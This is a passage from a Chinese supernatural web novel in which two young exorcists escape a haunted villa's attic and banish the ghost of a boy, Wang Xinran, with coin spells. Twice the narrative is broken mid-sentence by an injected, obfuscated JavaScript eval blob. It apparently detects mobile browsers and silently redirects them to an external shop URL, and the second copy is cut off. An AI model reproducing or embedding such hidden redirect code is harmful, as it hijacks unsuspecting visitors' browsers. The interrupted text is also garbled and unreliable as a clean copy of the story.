“哦。”白雾咕哝,“枪战游戏好玩吗?” “赢多了有点腻。” “你就吹牛吧。” 气氛莫名轻松起来,莫田继续一边拆线,一边坦言:“我不叫莫田,真名叫蔺季云。庞李祥从福利院捡我回来,是因为我被他们那一个什么神仙看中了。我打小跟了他,他把我当个吉祥物养着,工作过都是带芡姐一起。” “莫田是我的化名。我脑子里有些不属于我的记忆,可以说,我天生就是为了守护某些东西而存在的。” “有一天,我隐隐约约感觉到,我要守护的东西丢了,所以我跟着一丝感应走到了这里。” “是这栋别墅的杨阿姨,她从老家回城时捡到了这把木剑,觉得是什么古玩古董之类的,就带来了别墅。可是这把剑,只会给普通人招来不详。” “别墅里本就有不干净的东西,存在已久,是这把木剑把它唤醒了,后来就发生了凶案。不然仅凭王欣然的一次坠楼事故,不可能变成这么凶的怨灵。” 白雾静静倾听着,所有碎片渐渐拼到了一起。 家暴的爸,淡漠的妈,爱占便宜的保姆,好像都成了怨灵变强的养料。 “所以,庞李祥是你经过你提议才来的?” 说到这个,蔺季云有些愧疚:“是……我没想到会害了笑笑。我真的……尽力拦过了。” 白雾:“带笑笑来的人是庞李祥,不是你。他本就想把笑笑置于死地,笑笑是被他害死的,不是你。” “其实我知道。” 蔺季云已经将他身后清理干净了,又慢慢挪回了身前,静静看着他,还是叹了一口气:“笑笑身体不好,长期吃药。庞李祥时不时会给笑笑的药丸掉包,换过的药对心脏有很大副作用。我只能提醒她不要吃,可没人清楚庞李祥哪天换了药,哪天又没换,我不可能日日盯着。长此以往……笑笑其实是被吓死的。” “……”白雾也不知道该说什么好,只能宽慰他,“错不在你,你别有心理负担。” 蔺季云:“嗯。谢谢你。” 谈话间,白雾感觉身上的疼痛慢慢好转了,再一看,伤口竟已消失,只留下残破的衣服和一层淡淡的白灰。他讶异道:“香灰?” “李雾。”蔺季云唤他,“你不是活人,对不对。” 白雾一愣,随后答应:“嗯。” 蔺季云:“那你能告诉我,你的名字吗?” 白雾已经没了隐瞒的必要,他额头上还挂着汗滴,随着他浅浅一笑,轻轻滑落。 “我叫白雾。” 蔺季云毫不意外:“看来你比我真诚,好歹留了一个字是真的。” 跟这人相处起来真是舒服,白雾又笑了。 “谢谢你。” “不客气。” 12. 慈鬼手中线 白雾缓过劲来,坐在原地,将阁楼扫视一圈。 阁楼陈旧,随手一挥就是漫天灰尘,杂物胡乱堆放在角落,看起来空置不是一两年了。然而在这一片狼藉里,却突兀的出现了一台崭新的钢琴。 “钢琴?” 蔺季云回头看过去:“你也觉得奇怪是吗?” 白雾向他伸手:“拉我一把,过去看看。” 蔺季云起身,双手拽着白雾将人从地上拎起来,两人一同走到钢琴前。 琴身乌黑锃亮,就着一丝透进阁楼的微光,找不见任何剐蹭的痕迹,就像是凭空出现在这里的。 蔺季云掀开琴盖,指着里头说:“木剑就是在这里找到的。” 白雾往里头瞅了一眼。 小时候,明天晓在琴行打过工,那时候自己天天挂她身上,无奈明天晓只好带他一起上班,虽没系统学过钢琴,但多少也玩过。 这台钢琴里外都看不出异常。 白雾收了眼,沉吟道:“对了,你说这座别墅原本就有不干净的东西,会不会是……” 蔺季云飞快摇了摇头:“我确认过,那东西已经不在了,不然我万万不敢踏进别墅一步。” 白雾咬着手指继续沉思。 蔺季云默然不做声,眼巴巴盯着他。 白雾忽然想起一事:“对了,你有见过张芡吗?她跟我一起来的,后来意外分开了。” 蔺季云微微蹙眉:“没有。我只看见你一个人。” “那她究竟去哪了?” 蔺季云一脸无所谓:“你别太担心她,芡姐比我们厉害多了,也见过很多世面。以前庞李祥去凶宅也会碰上不寻常的事件,他经常放芡姐打头阵,然后不寻常就消失了,最后他再轻飘飘说一句凶宅试睡从没出过意外,实际上芡姐可嫌弃他了。” 这话白雾信。他只是震惊庞李祥一个光会使唤人的废物,也能被叫那么多年师父,真是幸苦佟玉邈容忍。 既如此,那他岂不是光凭望天湖凶宅的履历,也能出去收徒了? 白雾有点跃跃欲试。 就在这时,阁楼地面突然一阵剧烈晃动,两人身形一晃,白雾反应极快,稳稳抓住钢琴,顺手拽住险些摔倒的蔺季云。 他把蔺季云的手也按在了钢琴上,问:“怎么回事?!” 蔺季云往远处一看,大惊失色:“不好!有东西在撞挡住入口的木版!” 白雾回想起先前一针一线的痛感,身体止不住的汗毛竖立。 蔺季云决定挺身而出。他毅然决然将木剑交给白雾:“你不能再受伤了,帮我守着剑,我去堵住入口。” 没等白雾答应,剑就塞到了他手里,蔺季云已然转头冲向木版。 木板正承受着猛撞,一上一下,眼看就要碎裂,蔺季云一个滑倒扑了上去,将全身的重量都压在上面。 他的泰山压顶起了效果,木板果然纹丝不动了。 蔺季云抹了把汗:“嘿!小样。” 木板下面的东西听到了这句嘲讽,顿了一瞬,然后骤然发力,一下子连人带板一块颠了起来。 “哎哎哎哎哎!!!” 蔺季云发觉自己好像控制不住了,慌忙看向白雾:“我真应该多吃一点的!” 白雾见情况不对,二话不说提着木剑跑了过去,谁知他刚一只脚踩上木板,底下又是一记猛撞,整块木板直接被掀飞了。 蔺季云腾空而起,狠狠撞在了阁楼墙上。白雾只是受了点冲击,后退几步,也退到了墙角处。 而那阁楼的入口处,攀上了几只手。 紧接着,三颗脑袋同时冒了出来,身体鱼贯涌进阁楼。又是那三张可怖的笑脸,以及让白雾心惊胆寒的舌头。 舌头上面没有黑线。 白雾心里一沉,他望向四周,阁楼透光的缝隙里,果不其然悄咪咪游进几根带线的针。 四面包抄,没有比这更糟糕的情况了。 两人被逼到角落,白雾看向蔺季云:“你刚才是怎么救下我的?还有办法吗?” 蔺季云声音都在抖:“我用的是芡姐给我留的保命铜钱啊!她说遇到危险可以丢出去,就那一个!现在应该掉在客厅!我自己什么也不会,也就打游戏厉害点啊!” 晕死。 还能咋办,难不成他们今天必须得死在这? 更坏的是,王欣然显然是要速战速决,三只长舌怪物和飞针同时朝他们冲了过来,上一次他没躲掉,这一次更加躲不掉。 他是死不掉,但是蔺季云不行。 真到了最后一步,大不了再拿他绣上一顿,争取让蔺季云全须全尾离开。即便是这样,也只能拼死一搏,赌个机会了。 鬼使神差间,白雾举起了手中的木剑。屏息凝神,将剑尖轻轻抵在了地板上。 没时间给他估算距离了,危险近在咫尺,他举起木剑,朝着半空狠狠一挥。 那剑挥出去的瞬间,不知从哪来的水珠溅进了白雾眼睛里,迫使他轻轻闭上眼。 只有蔺季云在一旁瞧得真切。 那暗淡无光的木剑上,此刻竟亮起了蓝色的纹路! 纹路在昏暗的阁楼里流光溢彩,随着白雾一挥,划出一道长长的光弧。蔺季云错愕地看向白雾。 “你……” 白雾睁开眼时,眼前的景象竟然变了。伴随着水滴落下的声音,视觉前方漾起了水波。 紧接着,他后背被人重重推了一把,往前跌出好几步,从那层水波般的屏障中摔了过去。 他摔倒在地上,回过头,见蔺季云也跑了过来。而蔺季云的身后,似乎是一道撕开的空间裂缝,裂缝外围翻涌着水花,中间是动荡的水波。而水波对面,是他们刚才遇险的阁楼。 白雾有点不明所以,看向蔺季云。 蔺季云比他更激动,面露喜色,上来就抓着他的手语无伦次:“李,哦不对,白雾!你知道你刚刚干了什么吗?” 白雾微微坐起身:“我,我干什么了?” 一滴水珠从脸颊滑落,他抬手一擦,这才发觉一点异常,低头看向身边躺着的木剑,木剑还是那把木剑,毫无变化。 蔺季云指着那道空间裂缝:“你知不知道你刚才有多帅!用剑这么一挥!你看!这个就是你劈出来的!” 白雾凝视裂缝,它就像一面水镜,长舌怪物被阻挡在那头,不停张牙舞抓:“你是说,这个,我劈出来的?” 蔺季云小鸡啄米似的疯狂点头。 “怎么可能。”白雾不信。 蔺季云将两指伸直,比在太阳穴:“千真万确!我亲眼所见。” 白雾轻轻握住剑柄,拿在手里掂了掂:“难不成是这把木剑?” 蔺季云凑过来:“刚才你挥剑的时候,剑上全是蓝纹。我好像突然和这把剑有了链接,它就像活过来了一样。我看见裂缝后,脑子里只剩下一个年头,就是把你推进去。” 白雾肯定:“那就是这把木剑。” 跟我没关系,怎么可能。 我怎么可能干出这么大一个裂缝,又没入门。 蔺季云想了想,认同:“也对,你姓白。我听说白家的人都是喷火的,怎么可能喷水。” 白雾差点呛住:“什么玩意?” 这人怎么能把咒术讲得这么难听,要是叫他那亲戚听见了,定是要摆出一副笑眯眯的脸孔狠狠教育一番的。 蔺季云不好意思地挠头:“你别笑话我。我就是个手无缚鸡之力的外人,你们那些专业术语我真不懂。” “我没笑话你。” 说着,白雾筋疲力尽。 才在阁楼恢复的精力又被透支得一干二净,他现在只想回泊灵馆,好好睡上一觉。 他们如今所处的地方也是阁楼,区别是光线亮了许多,灰尘和脏污都消失了,看起来一尘不染。另外还有一个显著变化——钢琴不见了。 两人站起身,白雾脚步虚浮,蔺季云扶了他一把。 刚迈出一步,他们惊觉脚下出现了一圈圈的涟漪,就像走在水面上一样,渐渐游远,缓缓消失。 两人不敢说话。 白雾回头看了一眼,那裂缝的对面,怪物还在虎视眈眈,于是他坚定转头,看向那块完好无损堵住入口的木版。 “走。我们下楼去。” “好。” 两人爬下阁楼,重新站在了二楼走廊。 一落地,便察觉这空间似乎异常明亮,明明没有照明,就好像有天然的日光直直透了进来。 他们当务之急是找到一件真正可以防身的东西。 木剑除了帮他们暂时拉到一个安全的地方外,好像并不能起到攻击怨灵的作用。白雾回想起了蔺季云说过的话,转头:“我们先去客厅,看看你丢出去的铜钱还在不在。” 蔺季云看他虚弱,便自告奋勇:“那你先扶一会墙,我去找。” “也行。” 于是白雾目送他踩着梦幻涟漪啪嗒啪嗒走远了。 这个空间真像在梦里。 不多时,楼下响起了呼喊:“找到了!铜钱还在!” 白雾惊喜:“太好了!” 有了这至关重要的铜钱,他们就有了击败王欣然的办法。 在自己道具和武器尽失的情况下,本以为已是死局,没想到蔺季云真是有点福气。 白雾拿到铜钱,开口解释:“这铜钱要想发挥真正的作用,必须击中怨灵本体。那时你为了救我,打中的是一根针,所以怨灵的追杀还在继续。” “那我们该去哪里找本体呢?” 这个倒是把白雾问住了。 他兜兜转转受了那么多罪,竟然连王欣然本体的影子都没见着。有点懊恼。 思来想去,也没想出点苗头,于是他们二人在别墅里逛了起来。 走到后院,白雾一眼望去,后院的围墙还在,草也没少一根,但总觉得哪里不太对,好像视野空了一块。 蔺季云望着天空惊呼:“后山不见了!” 白雾仰头,只见原本背靠别墅的旅游山区,此刻只剩一片空空荡荡的蓝天。 “我明白了。” 蔺季云:“你明白什么了?” 白雾:“这个空间里只有这栋别墅。是木剑劈出来让我们暂时避险的领域。” 蔺季云接过木剑,仔细打量:“那我们……岂不是要走裂缝回去,才能找到怨灵本体啊。” “……好像是。” 蔺季云好像看见白雾头顶飘着一朵下雨的乌云。他干笑两声,推着白雾肩膀往别墅门口磨蹭回去。 推到半路,白雾转头问他:“你说,如果你是怨灵,你觉得本体躲在什么地方最好?” 蔺季云:“俗话说得好,最危险的地方就是最安全的地方。” “那什么是最危险的地方?” “……我不知道。” 白雾闷声:“我也不知道。” 回到二楼,白雾看向了男孩房。 其实他一直有一个疑惑。 从他和佟玉邈在男孩房走散开始,他对怨灵的直觉就失灵了,以往看见怨灵都会有的怪异感消失得一干二净。就像脑子里空了一块,他很在意这个事情。 他提议:“我们去男孩房再看看吧。” “怎么了?我们刚刚不是来过了?” 白雾:“不知道,就是想再进去看看。” “那好吧。”蔺季云也没多问,走在前面推开了男孩房的门。 男孩房的窗帘轻轻飘起,无风自动,白雾站在房间正中央,脑海里浮现出了池底见到的婴儿床。 他将脚轻轻挪开,让出了原本放婴儿床的位置,沉默注视着地面。 婴儿床上有什么来着? 八音盒。 小玩偶。 被黑线逢住了眼睛的小玩偶。 想到这里,脑海中好像有什么东西骤然对上了。他伸出手指,在空中比划玩偶眼睛上用黑线缝出来的叉。 蔺季云看他这古怪模样,有点害怕,颤颤巍巍叫他:“喂,喂?白雾,你别吓我,你不会被夺舍了吧。” 白雾慢慢转头,看向蔺季云:“你刚刚说什么?” 蔺季云:“我,我说,你别吓我。” “不对,后面那句。” 蔺季云要被吓哭了:“你不会被夺舍了吧……” 白雾顿住,噗嗤一声笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434427|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出来。 “哈哈哈哈哈哈哈哈。” 蔺季云看着突然疯掉的同伴,心里打起了退堂鼓,他一步步往后退,退到了门口:“白雾,你你再吓我,出去我报警了啊!” 白雾压根没在听他说什么,转而问道:“那三只怪物从头到尾攻击的是我,针线缝的也是我,为什么你能一直没事?” 蔺季云崩溃:“我哪知道啊!” “我知道本体在哪里了。” “哪啊?” 白雾缓缓抬起手,指尖夹着铜钱。 他做出弹射手势,将铜钱对准了自己的脑袋。 “既然针线缝在娃娃上。” “那我就是那个娃娃。” 最危险的地方,就是最安全的地方。 怪不得他对怨灵的感应会消失,怪不得身上的道具一件不剩。 因为这具身体,根本不是他的! 铜钱撞上额头的刹那,金属脆响在他颅内不断回荡,像古寺钟声,空灵而神圣,涤荡污秽,归置乱序。 蔺季云只见白雾立在原地,周身泛起一层淡金微光,一道透明又纯净的魂体正从他躯壳里缓缓剥离。 很快,地面摇晃起来,蔺季云眼前一黑,被强制夺走了视觉。 他再一次被拽下了池底。 “嘻嘻嘻嘻——” 阴测测的尖笑传进他耳朵里。 蔺季云感觉有什么东西在他身侧漂移,从身后绕到身前,最后停在白雾的方向。 视觉一点点恢复。环境好黑。 他面前是一张婴儿床,白雾背对着他,缩着腿坐在婴儿床里,头歪在一边,一动不动。脚边有个被暴力破坏过的八音盒,仍在旋转,发出断断续续五音不全的调调。 蔺季云走上前晃了晃白雾:“醒醒!你不能睡在这!” 木剑还被白雾握在手里,随着蔺季云的胡闹,握剑的手指终于缩了缩。 白雾蹙了蹙眉,渐渐转醒,嘴里含糊咕哝着:“醒了醒了,别摇了我要吐了。” 蔺季云收回手。 白雾抬头。 同一瞬间,他对面也有颗脑袋抬了起来。 狭小的婴儿床内,一左一右缩着两个人。 白雾吓一跳:“王欣然?” 蔺季云看清它模样,浑身一个剧颤,跳着躲远了:“卧槽啊啊啊啊啊啊你谁啊什么时候在这的!” 王欣然的整张脸,眼、口、鼻,全都被黑线密密缝死。他肩膀剧烈颤抖,嘴角疯狂上扬,发出尖锐癫狂的笑。再身形一扭,化作一团黑雾窜到了白雾后背,伸出手指轻轻抚摸着白雾脸颊。 白雾不敢动,死死攥着剑柄。蔺季云也不敢出声,慢慢后退。 怨灵冰凉的手指在他脸上肆意游荡,勾勒着五官。白雾听见王欣然贴伏在他耳边,轻声对他说:“你陪我玩,留下来吧。” 白雾一动不动:“你的好意我心领了,但我还有事情要做。” 王欣然:“什么事?” “种地,喂鸡。” 王欣然:“?” 白雾平静道:“我只会干粗活,你这心灵手巧的针线活我干不了,扎得疼。” 王欣然顿了顿,忽然伸手掐住了白雾的脖子,语气冷硬:“没人能拒绝我,你也不行。” 白雾仰头看它,默默从兜里掏出莲花纸条,握在手心。 然而,故事发展的走向总是会出人意料。 站在远处的蔺季云见白雾有难,不知道哪来的勇气,猛冲过来,对着婴儿床就是一脚,把一米长的婴儿床和婴儿床上缩着的一人一鬼一起踹了个翻天。 脚劲之大,白雾狼狈滚进了胶囊堆里。他赶忙抓起木剑站起身,冲蔺季云比了个佩服的大拇指。 王欣然更是五体投地。 物理意义。 与此同时,房门被打开了,门外是听见动静火速赶来的前辈。 白筝:“白雾!” 白雾眼睛一亮,转而泪珠开始在眼睛里打转,他径直朝着白筝跑去,白筝也恰好进门,将他拉到了身后。 “怎么了?见到我这么不高兴啊,都哭了。” 白雾摇头,嘴一瘪。 白筝瞥见他手里握着的剑,微微一挑眉,没说话。 转回头,地上的王欣然扭动着躯体爬了起来,八音盒滚落在地上,尽管已经碎成了半个渣,音乐却没停过,反而变得尖锐高昂。 佟喜见蔺季云还傻站在房间里,厉声喝道:“喂!小鬼,你是饲料吗?” 蔺季云原本还在犹豫要不要动,被这一吼,也慌慌张张也跑到了白筝身后。 佟喜回头瞅一眼,看见缩在白筝身后的两个脑袋,突然嘲笑:“你跟个母鸡一样。” 白筝撞了他一下:“你是公鸡。” 他一顶嘴佟喜就不耐烦:“回店里再收拾你。” 王欣然站在原地,扫视门口众人,被缝合的眼睛看不出神情,活像一只被操纵的木偶。中间一道无形的界限,将所有人划在它的对立面。 佟喜甩出铜钱串,重重砸在实木门上,砸出一个破洞。 转头又看见白筝,钱串调转了方向,朝外一扬,示意他滚。 白筝只笑:“好好好,遵命。” 房间内,王欣然面对来势汹汹的佟喜,不慌不忙歪了歪头。一旁小山似的胶囊堆轰然倾泻,露出被包裹在其中的人。 蔺季云惊呼:“芡姐?” 佟喜拧眉:“佟玉邈?” 两人几乎同时出声,蔺季云闭上了嘴。 王欣然语气沮丧,嘶声道:“没人陪我玩,那我只好留下一个。你们有人愿意和她交换吗?” 佟喜握紧铜钱串:“你做梦。” 他振臂一抖,钱串末端立即飞窜出去,瞬间在王欣然身上缠了几圈,将它手脚全部捆死。佟喜发力,钱串迸发金光,拎起王欣然直直砸向墙面,破墙甩了出去。 佟喜紧随其后从破洞口跟着跳了出去。 白筝当机立断,指着蔺季云:“你去把佟那什么芡姐转移到安全的地方去。” 又看向白雾:“你跟我走。” 白雾来不及答应,脚已经跟了出去。 13. 金咒终 男孩房的破洞通向一楼客厅,白雾和白筝一转出去就看见大场面。 佟喜用钱串牵着王欣然,一人立在茶几上,一鬼摔在了沙发里。被暴力摔落的王欣然纹丝不动,没有挣扎,像被丢弃的布娃娃。而看似处于上风的佟喜,此刻却放下了钱串,观望四方。 客厅郁郁葱葱,枝叶遍布,一片阴绿。源头来自椅子上已经被吸干的尸体。 庞李祥能得此下场,也算是罪有应得了。 白雾站在二楼,不细看都瞧不清,此刻的客厅已经被密密麻麻的细针围满了。他高声提醒:“千万小心!不要碰到针!” 佟喜只是摆了摆手,让他别多管闲事。 白筝趴在二楼栏杆上往下看:“安啦安啦,没事的。” 话音刚落,浮在空中的细针骤然出击,铺天盖地朝着佟喜身上扎去。佟喜缩回缠在王欣然身上的钱串,转而绕在自己右臂上,握拳一震,铜钱碰撞声如金石,响亮,但不刺耳。 “金咒壹——定!” 钱串之上,数不清的铜钱被抖落出来,悬浮在空中,朝着四面八方飞射出去。偌大的客厅里四处传来叮叮当当的碰撞声,一枚铜钱对上一根细针,凝固在空中。白雾俯视整个客厅,水晶灯上、电视柜前、沙发上方全都亮起了金色的光圈,每个圈内都锁着一根针。 最近的一个,就在白雾胸前。 他抬手将铜钱摘下,细针清脆坠地。 佟喜嗤笑一声:“小屁孩,你还是再练练吧!” 不知道是在说王欣然还是白雾。 无数细针顷刻之间就被化解,铜钱一撤,细针噼里啪啦摔在地上,佟喜抬手随便一挥,将要掉落在他身上的细针打开了。 白雾小声:“有一说一,帅。” “那必须的。”白筝转身,“我们也下去吧。” 白雾默默跟上了白筝。 见一招被破,沙发上的王欣然这才歪歪扭扭站了起来,跟佟喜对视着。 佟喜开口就冲:“别看你爹。” 王欣然:“那你就是我爹。” 佟喜噎住:“不要因为亲爹是畜生你就乱认爹,我没你这个儿子。” 王欣然的面部突然狰狞起来,似乎在拼命冲破某种束缚。白雾发觉它是想把缝住的嘴巴强行张开,预感不妙,高声阻止:“别让他张嘴!” 佟喜再一看,已经晚了。王欣然的嘴唇被生生撕裂,以身体受损的代价突破了封锁,一条长长的舌头从他嘴里掉了出来,舌头上是更加密集的黑线。 黑线像池塘里被惊扰四窜的鱼,舌头一见光,就立马从舌面上飞了出去。 他们没有挂上针,更没有攻击之意,白雾一时看不明白。 下一幕,他懂了。 黑线分为数十组,成群结队在空中交织,紧接着,交织之处,化出了一条完整的舌头,接着是头颅和身子,一个完整的人就这样被凭空复制出来了。 伪人分布在整个客厅,将佟喜包围,其中还有一两只面向白雾和白筝。 真正让白雾心里一紧的,是刚才他看到有一团黑线悄悄溜上了二楼。 他心道不好,冲白筝道:“二楼有危险,我上去找他们。” “多么?”白筝只问。 白雾:“应该只有一只。” 白筝化出双刀,给他开出一条通往楼梯的安全通路,示意放行:“那就去吧,自己当心。” “嗯。” 白雾头也不回奔上了二楼。 客厅里,伪人围攻之下,钱串金光纵横,双刀火光频闪,他也马不停蹄,一手拎着剑,一手握着刀,扎进了二楼房间。 他粗略在二楼转了一圈,一无所获。却在回头时被突然窜出来的人影一下扑倒在了地上,死死按住肩膀。情急之下。他紧紧护着木剑,却让往生刀脱了手。 “佟玉邈?”白雾意外。 对方也看清了他:“怎么是你?” 白雾:“你们有危险,我上来找你们啊。” 佟玉邈却不信:“危险在哪?” 不对劲。 白雾分明感应到了极强的怪异感,近在咫尺。 “危险在这。” 佟玉邈身后传来女人平静的声音。 白雾的视线大部分被挡住,不知道她身后发生的变故。 只看见一枚铜钱高高抛起,一截水管充当棒球棍,扫过铜钱狠狠抡在了佟玉邈脑袋上,直接将她暴力抡飞。佟玉邈背部撞墙,一下没了动静,铜钱贴在她额侧,金光一闪一闪。 白雾大张着嘴巴,缓缓转回头。 “怎么?傻了?连真假都分不清。”真正的佟玉邈逆光站着,轻轻擦拭着手里的铁水管。 白雾反应过来,对她笑了:“毕竟我笨。” 佟玉邈朝他伸出手:“行了,起来吧。” 白雾被她拉着站起身,楼下的打斗声还在持续,两人走进主卧,把躲在衣柜里的蔺季云给扒了出 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王欣然垂着头,不再反抗。半晌,那残破的嘴轻轻吐出几个字。 “爸爸……妈妈……爱我。” 佟喜神情微顿,凝视这具早已失去人性的怨灵,淡漠道:“下辈子吧。” 他转身出了铜钱阵,手里掐了个诀。 “金咒终——鼎。” 地面一震,周围的景象如炊烟消散,天地间只剩一片苍茫,与阵中缓缓抬头的王欣然。 铜钱疯狂挣动,叮当声烈烈作响,一个巨大的炉鼎浮现于阵法上空,轰然坠落,砸在怨灵小小的身躯之上,将它笼罩。 王欣然平静漂浮在炉鼎之中,重新化为人形。是一个留着长卷发,穿着洋裙,如洋娃娃一般的女孩模样。 瘦瘦小小的他神情毫无波澜,并未觉得痛苦,看着飘起的裙摆,他平淡地笑了。 炉鼎闪烁两下,王欣然化作透明。 一阵无名风来,随着炉鼎一同消散了。 佟喜放下掐诀的手,一切重归平静。别墅回到视野,他们还站在原地。 白雾全身每一寸皮毛都感到久违的放松,盘踞在此地的怨灵,终于烟消云散,他长舒一口气。 蔺季云看呆了眼。 佟玉邈亦是怔然,喃喃道:“原来这就是终咒。” 14. 心疼你自己 “终咒?”白雾问。 这一问,佟玉邈立刻看了过来:“你不知道?” 白雾老实摇头。 佟玉邈转向白筝,用一种老前辈怎么藏着掖着的表情看着他。 白筝打哈哈:“终咒就是咒术里虽强的一种,想学吗?想学我教你。” 白雾:“可我现在什么也不会。” “他会!他可会了!”蔺季云突然激动,“刚才就是这位同学救我狗命。他举着木剑一挥,哗!地一下劈出了另一个领域!简直帅炸了!多亏这一剑我们才能成功脱险,要不然,真死在那鬼地方了。” 在场之人一听这话,脸上无不诧异。 佟玉邈更是震惊:“你怎么什么都会?” 又是刀又是剑又是铜钱,你到底哪条道上的? 白雾仿佛能听见佟玉邈的心声,讪讪一笑:“别捧杀我了。真的是无心之举,厉害的是这把剑。” 佟喜神情凝重,盯了木剑许久,伸手:“给我看看。” 白雾听话递给他。 佟喜抚摸着平滑的剑身,眉头越锁越紧,半晌后抬头:“这剑哪来的?” 白筝凑过来:“这剑有什么问题吗?” 佟喜重复:“这剑哪来的?” 白雾站直,沉默,示意蔺季云接话。 蔺季云被佟喜的气场吓成结巴,颤颤巍巍道:“这这这个,对我来说很很重要,是……别墅里的那位杨保姆从老家带来的。” 佟喜继续问:“她老家在哪?” 蔺季云越说越小声:“跟我是同乡……来自风观镇。” “好。”佟喜握着剑,丝毫没有归还的意思,语气不容置疑,“你跟我们走。” “哎哎哎???” 白雾早有预料。 蔺季云从小被庞李祥收养,现如今庞李祥父女一死,他和佟玉邈出去八张嘴都说不清。佟玉邈还能回羁玄堂,蔺季云要是能从警察局出来,也无处可去了。 最好的办法就是让他们的身份全“死”在别墅里。 蔺季云作为大活人身处池底却依然活蹦乱跳,足以说明他本身就具备斩杀怨灵的天资和条件。 这个人,泊灵馆不得不留。 白雾已经准备好迎接新的同事了。 佟玉邈斜睨:“莫田,你果然有身份。” 蔺季云偏偏这时理直气壮:“大哥莫说二弟吧。” 佟玉邈清楚蔺季云的品行,还算老实本分,跟了两位大前辈,她也放心,巴不得省事。今后总有机会见面的。至于其他,她也不便多问。 白筝伸了个懒腰,岔开话题:“那既然如此,时间也差不多了,我们就在此分别吧,羁玄堂的善后人员应该也快到了。” 白雾:“那尸体怎么办?” 白筝:“你说这长草的大叔吗?当然是留在这了,死在池底的活人,灵魂早就一块走了,留尸体当个吉祥物也不错。” 白雾提醒:“我说的庞笑笑。” 佟玉邈:“笑笑的身体在池面,应该是被怨灵藏起来了,仔细找找总能找到。” 白雾:“那她的魂呢?” “对哦。”白筝观望四方。 人死之后,灵魂会坠入池底,既然庞笑笑确认身死,那灵魂应该早就下来了才对。 就在这时,一道白色的身影出现在厨房,慢步走了出来。庞笑笑一只手扶着门框,面色平静,沉默注视着他们。 佟玉邈靠近,声音有些不易察觉的发颤:“笑笑,你……还好吗?” 庞笑笑恬静一笑:“我很好,因为庞李祥死了。” 佟玉邈将她扫视一圈,庞笑笑灵体纯净,并未化作怨灵。她手里正提着一把刀,正是白雾丢失的往生刀。 佟玉邈没有多问:“你要走了吗?” “嗯。” 庞笑笑错开视线,和白雾对视了一眼。 “谢谢你们。” 佟玉邈猛地抱住她:“你自由了,可我怎么说不出祝福的话。” 庞笑笑双手僵在半空,停顿一会,才轻轻碰了碰她的背,只笑。 “这就够了。” 短暂的拥抱分开后,庞笑笑走向白雾,将往生刀递还:“谢谢你借我的刀。” 白雾疑惑:“刀是我不小心丢掉的,我才要谢谢你帮我找到了。” 庞笑笑古怪地摇了摇头。 等白雾接过刀,她将众人扫视一圈,回头,看向那个控制自己多年,无时无刻都想置她于死地的父亲,眼神像一汪深寂的黑潭。 最后,她走到一旁,拉起蔺季云的手:“莫田,你的好意我都知道,不过,这注定是我要走的路,如今这个终点,我心甘情愿。” “这就是我最好的结局,你不用愧疚,向前走吧。” 庞笑笑总是在笑,这一次,她是真心的。她不再是那个时刻被庞李祥控制的木偶,她是庞笑笑,她是她自己。 她就这样,轻轻消散了。 没有执念的灵魂,不需要利刃的送别,她自会有她想去的地方。 蔺季云的手还停在半空,虚虚握了握。 一旁,白筝戳了戳呆滞的白雾:“你在沮丧吗?收工了,该走了。” 白雾:“我没有沮丧。我只是……” 白筝:“想什么呢?” 白雾坦言:“刀明明就是我丢的。” 庞笑笑为什么说借? 何时借的? 怎么借的? “别管这一茬了,事情已经结束了。”白筝不在意。 可白雾总觉得庞笑笑话里有话。 她的离开太随意了,随意得像是一个自然老去的百岁老人。如果真的是死于药物导致的心脏问题惊吓而死,又为何会如此平静? 佟玉邈朝他们走来,同样踢到了垃圾桶滚落的垃圾,让白雾又注意到了那颗橙色的胶囊。 庞笑笑知晓蔺季云的好意,从始至终都知道药丸有问题,倘若她根本没吃药呢? 白雾不可置信地低头,看向手中被归还的往生刀。 借刀杀人?! “喂。你傻了?“白筝又戳了戳他,“走了。” 刚才他思考的间隙,其余几人已经商量好了后续。 他们三人带上蔺季云回泊灵馆,美其名曰去羁玄堂总部,并告知佟玉邈千万要保密,高层的行踪不能透露。 佟玉邈坚定点了点头,一副把嘴巴封死的样子,许诺坚决不会透露半个字。 白筝其实并不放心,但事已至此也只能信任她。 几人同她道别。 路上,白雾心不在焉。 蔺季云嘴巴闲不住,一路问东问西。比如要去的地方环境怎么样,会不会把他绑起来囚禁,前辈友不友好之类的。 听得佟喜极其烦躁。 “闭嘴,吵死了。” 蔺季云抱紧了白雾。 看来前辈并不友好。 白筝暗戳戳调侃佟喜:“怎么也不跟你表妹告个别?” 佟喜:“你这么舍不得就跟她回羁玄堂。” 白筝:“那算了。” 出了小区,白雾回望别墅大门。 这里发生了太多太多事,回想起来皮肉刺痛心里梗,总觉得这不该是那两个孩子的结局。 回过神,一段轻柔的钢琴声传进了众人耳朵里,来自小区内,别墅的方向。旋律舒缓优美,听了叫人心静。 白雾觉得很耳熟。 佟喜拧眉:“那个八音盒?” 白雾恍然,这正是池底婴儿床旁八音盒传出的曲调。八音盒破碎后,流出的曲调畸形扭曲,让他一时没听出来。 “别墅里的麻烦真的解决了吗?”白雾问出了这句话。 其实他心知肚明,没有。 蔺季云将他们在别墅里的经历一五一十讲给两位前辈听。 听到钢琴二字,白筝眼皮一跳:“你是说别墅里有一台崭新的钢琴?” 蔺季云:“对啊对啊。” 几人不约而同想到了从未现身的妈妈。 沉默半晌,白筝托着下巴笑了:“那这就有意思了。” 白雾试探着问:“你是不是知道什么?” 白筝搂上他肩膀,拉着他准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 